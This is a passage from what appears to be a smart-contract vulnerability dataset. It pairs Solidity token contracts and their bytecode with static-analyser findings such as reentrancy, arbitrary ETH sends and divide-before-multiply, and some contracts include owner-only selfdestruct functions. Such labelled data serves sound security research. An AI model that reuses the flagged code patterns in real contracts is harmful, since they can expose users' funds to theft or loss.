a01b038481169116148015610ed35750600e546001600160a01b03838116911614155b8015610ef857506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0d5750600f54600160b81b900460ff165b15610f5b576001600160a01b0382166000908152600b60205260409020544211610f3657600080fd5b610f41426019611ad3565b6001600160a01b0383166000908152600b60205260409020555b6000610f6630610946565b600f54909150600160a81b900460ff16158015610f915750600f546001600160a01b03858116911614155b8015610fa65750600f54600160b01b900460ff165b15610fc657610fb481611168565b478015610fc457610fc44761105f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100a57506001600160a01b03831660009081526005602052604090205460ff165b15611013575060005b61101f848484846113ce565b50505050565b600081848411156110495760405162461bcd60e51b81526004016103c791906119db565b5060006110568486611b2a565b95945050505050565b600c546001600160a01b03166108fc61107983600261138c565b6040518115909202916000818181858888f193505050501580156110a1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110bc83600261138c565b6040518115909202916000818181858888f19350505050158015610446573d6000803e3d6000fd5b600060065482111561114b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c7565b60006111556113fa565b9050611161838261138c565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121257600080fd5b505afa158015611226573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124a91906117d8565b8160018151811061126b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112919130911684610aef565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ca908590600090869030904290600401611a63565b600060405180830381600087803b1580156112e457600080fd5b505af11580156112f8573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261131c5750600061045b565b60006113288385611b0b565b9050826113358583611aeb565b146111615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c7565b600061116183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141d565b806113db576113db61144b565b6113e684848461146e565b8061101f5761101f6005600855600a600955565b6000806000611407611565565b9092509050611416828261138c565b9250505090565b6000818361143e5760405162461bcd60e51b81526004016103c791906119db565b5060006110568486611aeb565b60085415801561145b5750600954155b1561146257565b60006008819055600955565b600080600080600080611480876115a1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b290876115fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e19086611640565b6001600160a01b0389166000908152600260205260409020556115038161169f565b61150d84836116e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155291815260200190565b60405180910390a3505050505050505050565b60065460009081906509184e72a00061157e828261138c565b821015611598575050600654926509184e72a00092509050565b90939092509050565b60008060008060008060008060006115be8a60085460095461170d565b92509250925060006115ce6113fa565b905060008060006115e18e87878761175c565b919e509c509a509598509396509194505050505091939550919395565b600061116183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611025565b60008061164d8385611ad3565b9050838110156111615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c7565b60006116a96113fa565b905060006116b7838361130d565b306000908152600260205260409020549091506116d49082611640565b30600090815260026020526040902055505050565b6006546116f690836115fe565b6006556007546117069082611640565b6007555050565b60008080806117216064610aae898961130d565b905060006117346064610aae8a8961130d565b9050600061174c826117468b866115fe565b906115fe565b9992985090965090945050505050565b600080808061176b888661130d565b90506000611779888761130d565b90506000611787888861130d565b905060006117998261174686866115fe565b939b939a50919850919650505050505050565b80356117b781611b88565b919050565b6000602082840312156117cd578081fd5b813561116181611b88565b6000602082840312156117e9578081fd5b815161116181611b88565b60008060408385031215611806578081fd5b823561181181611b88565b9150602083013561182181611b88565b809150509250929050565b600080600060608486031215611840578081fd5b833561184b81611b88565b9250602084013561185b81611b88565b929592945050506040919091013590565b6000806040838503121561187e578182fd5b823561188981611b88565b946020939093013593505050565b600060208083850312156118a9578182fd5b823567ffffffffffffffff808211156118c0578384fd5b818501915085601f8301126118d3578384fd5b8135818111156118e5576118e5611b72565b8060051b604051601f19603f8301168101818110858211171561190a5761190a611b72565b604052828152858101935084860182860187018a1015611928578788fd5b8795505b838610156119515761193d816117ac565b85526001959095019493860193860161192c565b5098975050505050505050565b60006020828403121561196f578081fd5b813561116181611b9d565b60006020828403121561198b578081fd5b815161116181611b9d565b6000602082840312156119a7578081fd5b5035919050565b6000806000606084860312156119c2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a07578581018301518582016040015282016119eb565b81811115611a185783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ab25784516001600160a01b031683529383019391830191600101611a8d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae657611ae6611b5c565b500190565b600082611b0657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2557611b25611b5c565b500290565b600082821015611b3c57611b3c611b5c565b500390565b6000600019821415611b5557611b55611b5c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094357600080fd5b801515811461094357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002bd1da9cbb0bb6763ae736f38d88d91870d785b27ef96521f8ce8ca5401ae5e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,951
0x9aa9bab278c0ed84c104915bce9b5a9c1b96c4bf
pragma solidity ^0.4.23; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function minimum( uint a, uint b) internal returns ( uint result) { if ( a <= b ) { result = a; } else { result = b; } } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract OZTToken is StandardToken, Ownable { /* Overriding some ERC20 variables */ string public constant name = "OZTToken"; string public constant symbol = "OZT"; uint256 public constant decimals = 18; uint256 public constant MAX_NUM_OZT_TOKENS = 730000000 * 10 ** decimals; // Freeze duration for Advisors accounts uint256 public constant START_ICO_TIMESTAMP = 1526565600; // ICO starts at 17.05.2018 @ 2PM UTC int public constant DEFROST_MONTH_IN_MINUTES = 43200; // month in minutes int public constant DEFROST_MONTHS = 3; /* modalités de sorties des advisors investisseurs ou des earlybirds j’opte pour - un Freeze à 6 mois puis au bout du 6ème mois - possible de sortir du capital de 50% du montant investi - puis par la suite 5% tous les mois ce qui nous donnera une sortie effective au bout de 10 mois et au total ça fera donc 16 mois */ uint public constant DEFROST_FACTOR = 20; // Fields that can be changed by functions address[] public vIcedBalances; mapping (address => uint256) public icedBalances_frosted; mapping (address => uint256) public icedBalances_defrosted; // Variable usefull for verifying that the assignedSupply matches that totalSupply uint256 public assignedSupply; //Boolean to allow or not the initial assignement of token (batch) bool public batchAssignStopped = false; bool public stopDefrost = false; uint oneTokenWeiPrice; address defroster; function OZTToken() { owner = msg.sender; assignedSupply = 0; // mint all tokens totalSupply = MAX_NUM_OZT_TOKENS; balances[msg.sender] = MAX_NUM_OZT_TOKENS; Transfer(address(0x0), msg.sender, MAX_NUM_OZT_TOKENS); } function setDefroster(address addr) onlyOwner { defroster = addr; } modifier onlyDefrosterOrOwner() { require(msg.sender == defroster || msg.sender == owner); _; } /** * @dev Transfer tokens in batches (of adresses) * @param _vaddr address The address which you want to send tokens from * @param _vamounts address The address which you want to transfer to */ function batchAssignTokens(address[] _vaddr, uint[] _vamounts, uint[] _vDefrostClass ) onlyOwner { require ( batchAssignStopped == false ); require ( _vaddr.length == _vamounts.length && _vaddr.length == _vDefrostClass.length); //Looping into input arrays to assign target amount to each given address for (uint index=0; index<_vaddr.length; index++) { address toAddress = _vaddr[index]; uint amount = SafeMath.mul(_vamounts[index], 10 ** decimals); uint defrostClass = _vDefrostClass[index]; // 0=ico investor, 1=reserveandteam/advisors if ( defrostClass == 0 ) { // investor account transfer(toAddress, amount); assignedSupply = SafeMath.add(assignedSupply, amount); } else if(defrostClass == 1){ // Iced account. The balance is not affected here vIcedBalances.push(toAddress); icedBalances_frosted[toAddress] = amount; icedBalances_defrosted[toAddress] = 0; assignedSupply = SafeMath.add(assignedSupply, amount); } } } function getBlockTimestamp() constant returns (uint256){ return now; } function getAssignedSupply() constant returns (uint256){ return assignedSupply; } function elapsedMonthsFromICOStart() constant returns (int elapsed) { elapsed = (int(now-START_ICO_TIMESTAMP)/60)/DEFROST_MONTH_IN_MINUTES; } function getDefrostFactor()constant returns (uint){ return DEFROST_FACTOR; } function lagDefrost()constant returns (int){ return DEFROST_MONTHS; } function canDefrost() constant returns (bool){ int numMonths = elapsedMonthsFromICOStart(); return numMonths > DEFROST_MONTHS && uint(numMonths) <= SafeMath.add(uint(DEFROST_MONTHS), DEFROST_FACTOR/2+1); } function defrostTokens(uint fromIdx, uint toIdx) onlyDefrosterOrOwner { require(now>START_ICO_TIMESTAMP); require(stopDefrost == false); require(fromIdx>=0 && toIdx<=vIcedBalances.length); if(fromIdx==0 && toIdx==0){ fromIdx = 0; toIdx = vIcedBalances.length; } int monthsElapsedFromFirstDefrost = elapsedMonthsFromICOStart() - DEFROST_MONTHS; require(monthsElapsedFromFirstDefrost>0); uint monthsIndex = uint(monthsElapsedFromFirstDefrost); //require(monthsIndex<=DEFROST_FACTOR); require(canDefrost() == true); /* if monthsIndex == 1 => defrost 50% else if monthsIndex <= 10 defrost 5% */ // Looping into the iced accounts for (uint index = fromIdx; index < toIdx; index++) { address currentAddress = vIcedBalances[index]; uint256 amountTotal = SafeMath.add(icedBalances_frosted[currentAddress], icedBalances_defrosted[currentAddress]); uint256 targetDeFrosted = 0; uint256 fivePercAmount = SafeMath.div(amountTotal, DEFROST_FACTOR); if(monthsIndex==1){ targetDeFrosted = SafeMath.mul(fivePercAmount, 10); // 10 times 5% = 50% }else{ targetDeFrosted = SafeMath.mul(fivePercAmount, 10) + SafeMath.div(SafeMath.mul(monthsIndex-1, amountTotal), DEFROST_FACTOR); } uint256 amountToRelease = SafeMath.sub(targetDeFrosted, icedBalances_defrosted[currentAddress]); if (amountToRelease > 0 && targetDeFrosted > 0) { icedBalances_frosted[currentAddress] = SafeMath.sub(icedBalances_frosted[currentAddress], amountToRelease); icedBalances_defrosted[currentAddress] = SafeMath.add(icedBalances_defrosted[currentAddress], amountToRelease); transfer(currentAddress, amountToRelease); } } } function getStartIcoTimestamp() constant returns (uint) { return START_ICO_TIMESTAMP; } function stopBatchAssign() onlyOwner { require ( batchAssignStopped == false); batchAssignStopped = true; } function getAddressBalance(address addr) constant returns (uint256 balance) { balance = balances[addr]; } function getAddressAndBalance(address addr) constant returns (address _address, uint256 _amount) { _address = addr; _amount = balances[addr]; } function setStopDefrost() onlyOwner { stopDefrost = true; } function killContract() onlyOwner { selfdestruct(owner); } }
0x6080604052600436106101e25763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101e7578063095ea7b3146102715780630f6413b7146102a957806318160ddd146102be5780631986bc55146102e55780631c02708d146102fc57806322a026611461031157806323b872dd14610332578063313ce5671461035c578063350467221461037157806337253e35146103925780633f7b7380146103ad5780634ff92d6f146103e15780635600e827146103f65780635808ee151461040b57806363b3c0071461042c578063661884631461044157806370a082311461037157806375b3a83e14610465578063782b23401461047a578063796b89b91461048f57806379ae1c36146104a45780637fc90a5c146104b957806381325e54146105805780638a56d115146105a15780638da5cb5b146105b657806395d89b41146105cb578063a9059cbb146105e0578063a96a499814610604578063b1efeece14610619578063b643f2c91461062e578063c85bc22d14610643578063d6d5c8d514610658578063d73dd6231461066d578063dd62ed3e14610691578063de07a886146106b8578063e7990596146106cd578063f2fde38b14610711578063fd5d173b14610732575b600080fd5b3480156101f357600080fd5b506101fc610747565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023657818101518382015260200161021e565b50505050905090810190601f1680156102635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027d57600080fd5b50610295600160a060020a036004351660243561077e565b604080519115158252519081900360200190f35b3480156102b557600080fd5b50610295610821565b3480156102ca57600080fd5b506102d361082a565b60408051918252519081900360200190f35b3480156102f157600080fd5b506102fa610830565b005b34801561030857600080fd5b506102fa61086a565b34801561031d57600080fd5b506102d3600160a060020a0360043516610893565b34801561033e57600080fd5b50610295600160a060020a03600435811690602435166044356108a5565b34801561036857600080fd5b506102d36109cf565b34801561037d57600080fd5b506102d3600160a060020a03600435166109d4565b34801561039e57600080fd5b506102fa6004356024356109ef565b3480156103b957600080fd5b506103c5600435610c4a565b60408051600160a060020a039092168252519081900360200190f35b3480156103ed57600080fd5b506102d3610c72565b34801561040257600080fd5b506102d3610c78565b34801561041757600080fd5b506102fa600160a060020a0360043516610c8a565b34801561043857600080fd5b50610295610cd4565b34801561044d57600080fd5b50610295600160a060020a0360043516602435610d02565b34801561047157600080fd5b506102d3610dfb565b34801561048657600080fd5b506102d3610e03565b34801561049b57600080fd5b506102d3610e0b565b3480156104b057600080fd5b506102fa610e0f565b3480156104c557600080fd5b50604080516020600480358082013583810280860185019096528085526102fa95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610e3b9650505050505050565b34801561058c57600080fd5b506102d3600160a060020a0360043516610fc1565b3480156105ad57600080fd5b506102d3610fd3565b3480156105c257600080fd5b506103c5610fd8565b3480156105d757600080fd5b506101fc610fe7565b3480156105ec57600080fd5b50610295600160a060020a036004351660243561101e565b34801561061057600080fd5b506102d36110f4565b34801561062557600080fd5b506102d36110f9565b34801561063a57600080fd5b506102956110ff565b34801561064f57600080fd5b506102d361110d565b34801561066457600080fd5b506102d3611112565b34801561067957600080fd5b50610295600160a060020a0360043516602435611117565b34801561069d57600080fd5b506102d3600160a060020a03600435811690602435166111b9565b3480156106c457600080fd5b506102d36111e4565b3480156106d957600080fd5b506106ee600160a060020a03600435166111ea565b60408051600160a060020a03909316835260208301919091528051918290030190f35b34801561071d57600080fd5b506102fa600160a060020a0360043516611207565b34801561073e57600080fd5b506102d3611266565b60408051808201909152600881527f4f5a54546f6b656e000000000000000000000000000000000000000000000000602082015281565b60008115806107b05750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156107bb57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60085460ff1681565b60005481565b60035433600160a060020a0390811691161461084b57600080fd5b60085460ff161561085b57600080fd5b6008805460ff19166001179055565b60035433600160a060020a0390811691161461088557600080fd5b600354600160a060020a0316ff5b60056020526000908152604090205481565b600080600160a060020a03841615156108bd57600080fd5b50600160a060020a03808516600081815260026020908152604080832033909516835293815283822054928252600190529190912054610903908463ffffffff61127616565b600160a060020a038087166000908152600160205260408082209390935590861681522054610938908463ffffffff61128816565b600160a060020a038516600090815260016020526040902055610961818463ffffffff61127616565b600160a060020a038087166000818152600260209081526040808320338616845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b601281565b600160a060020a031660009081526001602052604090205490565b600080600080600080600080600a60009054906101000a9004600160a060020a0316600160a060020a031633600160a060020a03161480610a3e575060035433600160a060020a039081169116145b1515610a4957600080fd5b635afd8ae04211610a5957600080fd5b600854610100900460ff1615610a6e57600080fd5b60008a10158015610a8157506004548911155b1515610a8c57600080fd5b89158015610a98575088155b15610aa75760045460009a5098505b6003610ab1610c78565b03975060008813610ac157600080fd5b879650610acc610cd4565b1515600114610ada57600080fd5b8995505b88861015610c3e576004805487908110610af457fe5b6000918252602080832090910154600160a060020a031680835260058252604080842054600690935290922054919650610b2d91611288565b935060009250610b3e84601461129e565b91508660011415610b5b57610b5482600a6112b5565b9250610b81565b610b72610b6b60018903866112b5565b601461129e565b610b7d83600a6112b5565b0192505b600160a060020a038516600090815260066020526040902054610ba5908490611276565b9050600081118015610bb75750600083115b15610c3357600160a060020a038516600090815260056020526040902054610bdf9082611276565b600160a060020a038616600090815260056020908152604080832093909355600690522054610c0e9082611288565b600160a060020a038616600090815260066020526040902055610c31858261101e565b505b600190950194610ade565b50505050505050505050565b6004805482908110610c5857fe5b600091825260209091200154600160a060020a0316905081565b60075490565b61a8c0603c635afd8adf194201050590565b60035433600160a060020a03908116911614610ca557600080fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080610cdf610c78565b9050600381138015610cfc5750610cf86003600b611288565b8111155b91505090565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610d5f57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610d96565b610d6f818463ffffffff61127616565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b635afd8ae081565b635afd8ae090565b4290565b60035433600160a060020a03908116911614610e2a57600080fd5b6008805461ff001916610100179055565b60035460009081908190819033600160a060020a03908116911614610e5f57600080fd5b60085460ff1615610e6f57600080fd5b85518751148015610e81575084518751145b1515610e8c57600080fd5b600093505b8651841015610fb8578684815181101515610ea857fe5b906020019060200201519250610edd8685815181101515610ec557fe5b60209081029091010151670de0b6b3a76400006112b5565b91508484815181101515610eed57fe5b9060200190602002015190508060001415610f2157610f0c838361101e565b50610f1960075483611288565b600755610fad565b8060011415610fad5760048054600181019091557f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03851690811790915560009081526005602090815260408083208590556006909152812055600754610fa99083611288565b6007555b600190930192610e91565b50505050505050565b60066020526000908152604090205481565b600390565b600354600160a060020a031681565b60408051808201909152600381527f4f5a540000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561103557600080fd5b600160a060020a03331660009081526001602052604090205461105e908363ffffffff61127616565b600160a060020a033381166000908152600160205260408082209390935590851681522054611093908363ffffffff61128816565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b601481565b60075481565b600854610100900460ff1681565b601490565b600381565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461114f908363ffffffff61128816565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b61a8c081565b600160a060020a0381166000908152600160205260409020549091565b60035433600160a060020a0390811691161461122257600080fd5b600160a060020a038116151561123757600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6b025bd7834bb45d9d1a00000081565b60008282111561128257fe5b50900390565b60008282018381101561129757fe5b9392505050565b60008082848115156112ac57fe5b04949350505050565b60008282028315806112d157508284828115156112ce57fe5b04145b151561129757fe00a165627a7a72305820beb37f338fdd596fad1b0bac5c7f2ead586838a63c09759042a5bd714dd6e21c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
6,952
0x9c406e291f41eb50f152dec37196d01f751b5656
/** * * MIT License * * Copyright (c) 2018, TOPEX Developers & OpenZeppelin Project. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Destructible is Ownable { constructor() public payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = 